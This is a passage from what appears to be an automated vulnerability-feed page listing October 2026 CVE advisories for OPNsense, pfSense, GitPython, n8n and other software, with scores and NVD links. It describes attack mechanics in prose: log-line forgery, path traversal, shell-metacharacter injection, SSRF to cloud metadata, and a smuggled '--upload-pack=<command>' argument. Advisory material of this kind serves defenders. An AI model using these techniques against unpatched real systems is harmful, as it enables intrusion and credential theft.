NVD CVE-2026-63442: https://nvd.nist.gov/vuln/detail/CVE-2026-63442
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-63442&date=2026-10-25
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the unauthenticated WebGUI login usernamefld accepts carriage-return and line-feed characters that survive LOG_AUTH processing through syslog-ng-lockout.conf into the syslog-ng program destination feeding lockout_handler. The consumer's readline() processing treats an injected fragment as a separate authentication event and selects the first syntactically valid IP address from the forged line. An attacker with network access to the login page can forge failure events for another IP, causing that IP to be added to the sshlockout PF table and its active states to be killed, or forge accepted events that reset an attacker's own brute-force counter. This can block administrative, DNS, gateway, or monitoring addresses and can bypass password-guessing lockout without authentication. This issue is fixed in version 26.1.11.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Affected devices do not properly validate and sanitize visual marker data contained in imported CSV trace files before rendering it on the Trace page.
https://kevwire.com/record/CVE-2026-63354
Affected devices do not properly validate and sanitize visual marker data contained in imported CSV trace files before rendering it on the Trace page. (Oct 13, 2026).
Affected devices do not properly validate and sanitize visual marker data contained in imported CSV trace files before rendering it on the Trace page.

This could allow an attacker to social engineer an authorized user who holds the function right “Read diagnostics” into importing a specially crafted trace file. Successful exploitation could allow attacker-controlled JavaScript to execute in the user’s browser session and perform PLC operations through the web server within the scope of the user’s authorization.
CVSS 9.4 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-63354).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-63354&date=2026-10-25).
Sources:
NVD CVE-2026-63354: https://nvd.nist.gov/vuln/detail/CVE-2026-63354
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-63354&date=2026-10-25
Affected devices do not properly validate and sanitize visual marker data contained in imported CSV trace files before rendering it on the Trace page.

This could allow an attacker to social engineer an authorized user who holds the function right “Read diagnostics” into importing a specially crafted trace file. Successful exploitation could allow attacker-controlled JavaScript to execute in the user’s browser session and perform PLC operations through the web server within the scope of the user’s authorization.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Lychee is a free, open-source photo-management tool.
https://kevwire.com/record/CVE-2026-62679
Lychee is a free, open-source photo-management tool. (Oct 15, 2026).
Lychee is a free, open-source photo-management tool. Prior to 7.6.4, SecurePathController, which serves GET /image/{path}, concatenates the attacker-controlled path with the local storage root and performs a string-prefix check before canonicalizing dot segments. Under the supported non-default configuration with temporary_image_link_enabled enabled, temporary_image_link_when_logged_in disabled, and secure_image_link_enabled disabled, any authenticated user can submit encoded traversal segments that pass the prefix check and are later resolved by filesystem operations. This permits reading files available to the web process, including application configuration and other users' private images, and disclosed APP_KEY or database credentials can enable further compromise. This issue is fixed in version 7.6.4.
CVSS 8.9 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-62679).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-62679&date=2026-10-25).
Sources:
NVD CVE-2026-62679: https://nvd.nist.gov/vuln/detail/CVE-2026-62679
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-62679&date=2026-10-25
Lychee is a free, open-source photo-management tool. Prior to 7.6.4, SecurePathController, which serves GET /image/{path}, concatenates the attacker-controlled path with the local storage root and performs a string-prefix check before canonicalizing dot segments. Under the supported non-default configuration with temporary_image_link_enabled enabled, temporary_image_link_when_logged_in disabled, and secure_image_link_enabled disabled, any authenticated user can submit encoded traversal segments that pass the prefix check and are later resolved by filesystem operations. This permits reading files available to the web process, including application configuration and other users' private images, and disclosed APP_KEY or database credentials can enable further compromise. This issue is fixed in version 7.6.4.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been identified in SIMATIC WinCC V7.5 (All versions), SIMATIC WinCC V8.0 (All versions < V8.0 Update 11), SIMATIC WinCC V8.1 (All versions < V8.1 Update 7)....
https://kevwire.com/record/CVE-2026-59241
A vulnerability has been identified in SIMATIC WinCC V7.5 (All versions), SIMATIC WinCC V8.0 (All versions < V8.0 Update 11), SIMATIC WinCC V8.1 (All versions < V8.1 Update 7).... (Oct 13, 2026).
A vulnerability has been identified in SIMATIC WinCC V7.5 (All versions), SIMATIC WinCC V8.0 (All versions < V8.0 Update 11), SIMATIC WinCC V8.1 (All versions < V8.1 Update 7). The affected application does not sufficiently restrict the permissions assigned to a database role.
This could allow an authenticated remote attacker with database access to escalate privileges and execute arbitrary commands on the host system where SIMATIC WinCC is installed, potentially leading to a compromise of the system.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-59241).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-59241&date=2026-10-25).
Sources:
NVD CVE-2026-59241: https://nvd.nist.gov/vuln/detail/CVE-2026-59241
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-59241&date=2026-10-25
A vulnerability has been identified in SIMATIC WinCC V7.5 (All versions), SIMATIC WinCC V8.0 (All versions < V8.0 Update 11), SIMATIC WinCC V8.1 (All versions < V8.1 Update 7). The affected application does not sufficiently restrict the permissions assigned to a database role.
This could allow an authenticated remote attacker with database access to escalate privileges and execute arbitrary commands on the host system where SIMATIC WinCC is installed, potentially leading to a compromise of the system.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OPNsense is a FreeBSD based firewall and routing platform.
https://kevwire.com/record/CVE-2026-53582
OPNsense is a FreeBSD based firewall and routing platform. (Oct 15, 2026).
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.10, the Trust module stores attacker-controlled certificate authority and certificate refid values and interpolates them into XPath expressions in src/opnsense/mvc/app/models/OPNsense/Trust/FieldTypes/CAsField.php and src/opnsense/mvc/app/models/OPNsense/Trust/FieldTypes/CertificatesField.php. A user with CA Manager or Certificate Manager privileges can submit a crafted refid and repeatedly retrieve the object to obtain a boolean refcount oracle, allowing values in config.xml to be recovered character by character. Exposed values can include password hashes, API credentials, certificate private keys, VPN key material, and high-availability credentials, enabling privilege escalation and compromise of other security domains. This issue is fixed in version 26.1.10.
CVSS 7.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-53582).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-53582&date=2026-10-25).
Sources:
NVD CVE-2026-53582: https://nvd.nist.gov/vuln/detail/CVE-2026-53582
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-53582&date=2026-10-25
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.10, the Trust module stores attacker-controlled certificate authority and certificate refid values and interpolates them into XPath expressions in src/opnsense/mvc/app/models/OPNsense/Trust/FieldTypes/CAsField.php and src/opnsense/mvc/app/models/OPNsense/Trust/FieldTypes/CertificatesField.php. A user with CA Manager or Certificate Manager privileges can submit a crafted refid and repeatedly retrieve the object to obtain a boolean refcount oracle, allowing values in config.xml to be recovered character by character. Exposed values can include password hashes, API credentials, certificate private keys, VPN key material, and high-availability credentials, enabling privilege escalation and compromise of other security domains. This issue is fixed in version 26.1.10.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Nezha from 2.2.5 before 2.3.15 contains an information disclosure vulnerability that allows authenticated users to retrieve third-party credentials because listDDNS omits...
https://kevwire.com/record/CVE-2026-111387
Nezha from 2.2.5 before 2.3.15 contains an information disclosure vulnerability that allows authenticated users to retrieve third-party credentials because listDDNS omits... (Oct 16, 2026).
Nezha from 2.2.5 before 2.3.15 contains an information disclosure vulnerability that allows authenticated users to retrieve third-party credentials because listDDNS omits WebhookURL and WebhookRequestBody redaction. Admins or PATs with nezha:ddns:read scope can call GET /api/v1/ddns to read cleartext tokens embedded in every user's DDNS webhook profiles.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111387).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111387&date=2026-10-25).
Sources:
NVD CVE-2026-111387: https://nvd.nist.gov/vuln/detail/CVE-2026-111387
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111387&date=2026-10-25
Nezha from 2.2.5 before 2.3.15 contains an information disclosure vulnerability that allows authenticated users to retrieve third-party credentials because listDDNS omits WebhookURL and WebhookRequestBody redaction. Admins or PATs with nezha:ddns:read scope can call GET /api/v1/ddns to read cleartext tokens embedded in every user's DDNS webhook profiles.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### pfSense CE 2.7.0 through 2.9.0 contains a command injection vulnerability in services_captiveportal_hasync.php that allows users with only the Captive Portal HA privilege to...
https://kevwire.com/record/CVE-2026-111229
pfSense CE 2.7.0 through 2.9.0 contains a command injection vulnerability in services_captiveportal_hasync.php that allows users with only the Captive Portal HA privilege to... (Oct 15, 2026).
pfSense CE 2.7.0 through 2.9.0 contains a command injection vulnerability in services_captiveportal_hasync.php that allows users with only the Captive Portal HA privilege to execute commands as root. Attackers can set backwardsyncip to a malicious XMLRPC server returning connected_users with shell metacharacters in ip or mac fields, which captiveportal_load_pfctl passes unescaped to a pfctl shell command.
CVSS 8.6 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111229).
EPSS 6.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111229&date=2026-10-25).
Sources:
NVD CVE-2026-111229: https://nvd.nist.gov/vuln/detail/CVE-2026-111229
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111229&date=2026-10-25
pfSense CE 2.7.0 through 2.9.0 contains a command injection vulnerability in services_captiveportal_hasync.php that allows users with only the Captive Portal HA privilege to execute commands as root. Attackers can set backwardsyncip to a malicious XMLRPC server returning connected_users with shell metacharacters in ip or mac fields, which captiveportal_load_pfctl passes unescaped to a pfctl shell command.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### pfSense CE through 2.9.0 contains an OS command injection vulnerability in the OpenVPN openvpn.connect_async.sh script that allows authenticated VPN users to execute commands as...
https://kevwire.com/record/CVE-2026-111224
pfSense CE through 2.9.0 contains an OS command injection vulnerability in the OpenVPN openvpn.connect_async.sh script that allows authenticated VPN users to execute commands as... (Oct 15, 2026).
pfSense CE through 2.9.0 contains an OS command injection vulnerability in the OpenVPN openvpn.connect_async.sh script that allows authenticated VPN users to execute commands as root via crafted usernames. Attackers authenticated through RADIUS or LDAP can use usernames containing single quotes and shell metacharacters to break out of the eval'd pfctl anchor name on connect or disconnect.
CVSS 7.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111224).
EPSS 5.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111224&date=2026-10-25).
Sources:
NVD CVE-2026-111224: https://nvd.nist.gov/vuln/detail/CVE-2026-111224
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111224&date=2026-10-25
pfSense CE through 2.9.0 contains an OS command injection vulnerability in the OpenVPN openvpn.connect_async.sh script that allows authenticated VPN users to execute commands as root via crafted usernames. Attackers authenticated through RADIUS or LDAP can use usernames containing single quotes and shell metacharacters to break out of the eval'd pfctl anchor name on connect or disconnect.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heym from 0.0.55 before 0.0.121 contains a privilege escalation vulnerability that allows shared collaborators to overwrite a workflow's error_workflow_id because the field is...
https://kevwire.com/record/CVE-2026-110873
Heym from 0.0.55 before 0.0.121 contains a privilege escalation vulnerability that allows shared collaborators to overwrite a workflow's error_workflow_id because the field is... (Oct 14, 2026).
Heym from 0.0.55 before 0.0.121 contains a privilege escalation vulnerability that allows shared collaborators to overwrite a workflow's error_workflow_id because the field is missing from OWNER_ONLY_EXECUTION_FIELDS. Attackers can point the error workflow to their own workflow with an HTTP node, and when the parent workflow errors the owner's decrypted credentials are injected and exfiltrated.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110873).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110873&date=2026-10-25).
Sources:
NVD CVE-2026-110873: https://nvd.nist.gov/vuln/detail/CVE-2026-110873
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110873&date=2026-10-25
Heym from 0.0.55 before 0.0.121 contains a privilege escalation vulnerability that allows shared collaborators to overwrite a workflow's error_workflow_id because the field is missing from OWNER_ONLY_EXECUTION_FIELDS. Attackers can point the error workflow to their own workflow with an HTTP node, and when the parent workflow errors the owner's decrypted credentials are injected and exfiltrated.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Renovate before 44.79.0 contains a server-side request forgery vulnerability that allows users to make the shared HTTP client request arbitrary internal URLs via extends presets...
https://kevwire.com/record/CVE-2026-110868
Renovate before 44.79.0 contains a server-side request forgery vulnerability that allows users to make the shared HTTP client request arbitrary internal URLs via extends presets... (Oct 14, 2026).
Renovate before 44.79.0 contains a server-side request forgery vulnerability that allows users to make the shared HTTP client request arbitrary internal URLs via extends presets or customDatasources. Attackers can point a preset at an instance metadata service endpoint to obtain AWS credentials or leak sensitive information through Renovate logs.
CVSS 8.4 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110868).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110868&date=2026-10-25).
Sources:
NVD CVE-2026-110868: https://nvd.nist.gov/vuln/detail/CVE-2026-110868
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110868&date=2026-10-25
Renovate before 44.79.0 contains a server-side request forgery vulnerability that allows users to make the shared HTTP client request arbitrary internal URLs via extends presets or customDatasources. Attackers can point a preset at an instance metadata service endpoint to obtain AWS credentials or leak sensitive information through Renovate logs.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Better Auth @better-auth/sso from 1.7.0-rc.2 before 1.7.3 contains an authentication bypass vulnerability that allows authenticated users to sign in as other users by registering...
https://kevwire.com/record/CVE-2026-110863
Better Auth @better-auth/sso from 1.7.0-rc.2 before 1.7.3 contains an authentication bypass vulnerability that allows authenticated users to sign in as other users by registering... (Oct 14, 2026).
Better Auth @better-auth/sso from 1.7.0-rc.2 before 1.7.3 contains an authentication bypass vulnerability that allows authenticated users to sign in as other users by registering a personal SSO provider. Attackers can copy a legitimate provider's OIDC issuer or SAML entity ID and assert a victim's subject or NameID, because account lookup ignores providerId, creating sessions for victim accounts.
CVSS 8.6 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110863).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110863&date=2026-10-25).
Sources:
NVD CVE-2026-110863: https://nvd.nist.gov/vuln/detail/CVE-2026-110863
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110863&date=2026-10-25
Better Auth @better-auth/sso from 1.7.0-rc.2 before 1.7.3 contains an authentication bypass vulnerability that allows authenticated users to sign in as other users by registering a personal SSO provider. Attackers can copy a legitimate provider's OIDC issuer or SAML entity ID and assert a victim's subject or NameID, because account lookup ignores providerId, creating sessions for victim accounts.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### GitPython from 3.1.30 before 3.2.0 contains a remote code execution vulnerability in Remote.pull() whose unsafe-option guard inspects only keyword arguments, not the positional...
https://kevwire.com/record/CVE-2026-110858
GitPython from 3.1.30 before 3.2.0 contains a remote code execution vulnerability in Remote.pull() whose unsafe-option guard inspects only keyword arguments, not the positional... (Oct 14, 2026).
GitPython from 3.1.30 before 3.2.0 contains a remote code execution vulnerability in Remote.pull() whose unsafe-option guard inspects only keyword arguments, not the positional refspec. Attackers controlling the refspec can supply --upload-pack=<command> to execute OS commands as the calling process over local-path or SSH transports.
CVSS 9.2 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110858).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110858&date=2026-10-25).
Sources:
NVD CVE-2026-110858: https://nvd.nist.gov/vuln/detail/CVE-2026-110858
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110858&date=2026-10-25
GitPython from 3.1.30 before 3.2.0 contains a remote code execution vulnerability in Remote.pull() whose unsafe-option guard inspects only keyword arguments, not the positional refspec. Attackers controlling the refspec can supply --upload-pack=<command> to execute OS commands as the calling process over local-path or SSH transports.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### n8n before 1.123.83 contains an authorization bypass vulnerability that allows authenticated members to spoof workflow identity by supplying a trusted identifier in Execute...
https://kevwire.com/record/CVE-2026-110853
n8n before 1.123.83 contains an authorization bypass vulnerability that allows authenticated members to spoof workflow identity by supplying a trusted identifier in Execute... (Oct 14, 2026).
n8n before 1.123.83 contains an authorization bypass vulnerability that allows authenticated members to spoof workflow identity by supplying a trusted identifier in Execute Sub-workflow inline JSON mode. Attackers can set this identifier to resolve credentials from projects they do not belong to and modify another workflow's static data and error-workflow dispatch.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110853).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110853&date=2026-10-25).
Sources:
NVD CVE-2026-110853: https://nvd.nist.gov/vuln/detail/CVE-2026-110853
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110853&date=2026-10-25
n8n before 1.123.83 contains an authorization bypass vulnerability that allows authenticated members to spoof workflow identity by supplying a trusted identifier in Execute Sub-workflow inline JSON mode. Attackers can set this identifier to resolve credentials from projects they do not belong to and modify another workflow's static data and error-workflow dispatch.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### n8n before 2.41.4 and 2.42.x before 2.42.1 contains an uncontrolled resource consumption vulnerability in the unauthenticated OAuth authorize endpoint, which resolves clients by...
https://kevwire.com/record/CVE-2026-110843
n8n before 2.41.4 and 2.42.x before 2.42.1 contains an uncontrolled resource consumption vulnerability in the unauthenticated OAuth authorize endpoint, which resolves clients by... (Oct 14, 2026).
n8n before 2.41.4 and 2.42.x before 2.42.1 contains an uncontrolled resource consumption vulnerability in the unauthenticated OAuth authorize endpoint, which resolves clients by URL path but stores the caller's raw identifier as the record key. Unauthenticated attackers can send identifiers differing only in their query string to create unlimited first-party client records that bypass the registration cap, growing the database until the disk fills.
CVSS 8.2 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110843).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110843&date=2026-10-25).
Sources:
NVD CVE-2026-110843: https://nvd.nist.gov/vuln/detail/CVE-2026-110843
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110843&date=2026-10-25
n8n before 2.41.4 and 2.42.x before 2.42.1 contains an uncontrolled resource consumption vulnerability in the unauthenticated OAuth authorize endpoint, which resolves clients by URL path but stores the caller's raw identifier as the record key. Unauthenticated attackers can send identifiers differing only in their query string to create unlimited first-party client records that bypass the registration cap, growing the database until the disk fills.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Nexent through 2.7.0 contains a missing authorization vulnerability in check_file_access that allows authenticated users to read other tenants' knowledge-base files by skipping...
https://kevwire.com/record/CVE-2026-110775
Nexent through 2.7.0 contains a missing authorization vulnerability in check_file_access that allows authenticated users to read other tenants' knowledge-base files by skipping... (Oct 14, 2026).
Nexent through 2.7.0 contains a missing authorization vulnerability in check_file_access that allows authenticated users to read other tenants' knowledge-base files by skipping tenant comparison for knowledge_base/ reads. Attackers in multi-tenant deployments can list objects via GET /file/storage for presigned URLs or use GET /file/download/{object_name} to download other tenants' source documents.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110775).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110775&date=2026-10-25).
Sources:
NVD CVE-2026-110775: https://nvd.nist.gov/vuln/detail/CVE-2026-110775
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110775&date=2026-10-25
Nexent through 2.7.0 contains a missing authorization vulnerability in check_file_access that allows authenticated users to read other tenants' knowledge-base files by skipping tenant comparison for knowledge_base/ reads. Attackers in multi-tenant deployments can list objects via GET /file/storage for presigned URLs or use GET /file/download/{object_name} to download other tenants' source documents.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Kan 0.5.5 through 0.6.0 contains an unauthenticated server-side request forgery vulnerability in the /api/download/attatchment route due to an incomplete fix for CVE-2026-32255.
https://kevwire.com/record/CVE-2026-110628
Kan 0.5.5 through 0.6.0 contains an unauthenticated server-side request forgery vulnerability in the /api/download/attatchment route due to an incomplete fix for CVE-2026-32255. (Oct 14, 2026).
Kan 0.5.5 through 0.6.0 contains an unauthenticated server-side request forgery vulnerability in the /api/download/attatchment route due to an incomplete fix for CVE-2026-32255. When S3_ENDPOINT is unset, attackers can pass arbitrary url query parameters to fetch() to read internal services, localhost ports, and cloud instance metadata.
CVSS 9.2 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110628).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110628&date=2026-10-25).
Sources:
NVD CVE-2026-110628: https://nvd.nist.gov/vuln/detail/CVE-2026-110628
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110628&date=2026-10-25
Kan 0.5.5 through 0.6.0 contains an unauthenticated server-side request forgery vulnerability in the /api/download/attatchment route due to an incomplete fix for CVE-2026-32255. When S3_ENDPOINT is unset, attackers can pass arbitrary url query parameters to fetch() to read internal services, localhost ports, and cloud instance metadata.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Papermerge Core through 3.5.3 contains a missing authorization vulnerability in the shared nodes API that allows authenticated users to share other users' documents by supplying...
https://kevwire.com/record/CVE-2026-110623
Papermerge Core through 3.5.3 contains a missing authorization vulnerability in the shared nodes API that allows authenticated users to share other users' documents by supplying... (Oct 14, 2026).
Papermerge Core through 3.5.3 contains a missing authorization vulnerability in the shared nodes API that allows authenticated users to share other users' documents by supplying arbitrary node UUIDs. Attackers can call POST /shared-nodes or PATCH /shared-nodes/access/{node_id} to grant themselves any role, then read, modify, or delete victims' documents and revoke existing shares.
CVSS 7.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110623).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110623&date=2026-10-25).
Sources:
NVD CVE-2026-110623: https://nvd.nist.gov/vuln/detail/CVE-2026-110623
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110623&date=2026-10-25
Papermerge Core through 3.5.3 contains a missing authorization vulnerability in the shared nodes API that allows authenticated users to share other users' documents by supplying arbitrary node UUIDs. Attackers can call POST /shared-nodes or PATCH /shared-nodes/access/{node_id} to grant themselves any role, then read, modify, or delete victims' documents and revoke existing shares.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Groundhogg — CRM, Newsletters, and Marketing Automation plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the copy_file...
https://kevwire.com/record/CVE-2026-109221
The Groundhogg — CRM, Newsletters, and Marketing Automation plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the copy_file... (Oct 16, 2026).
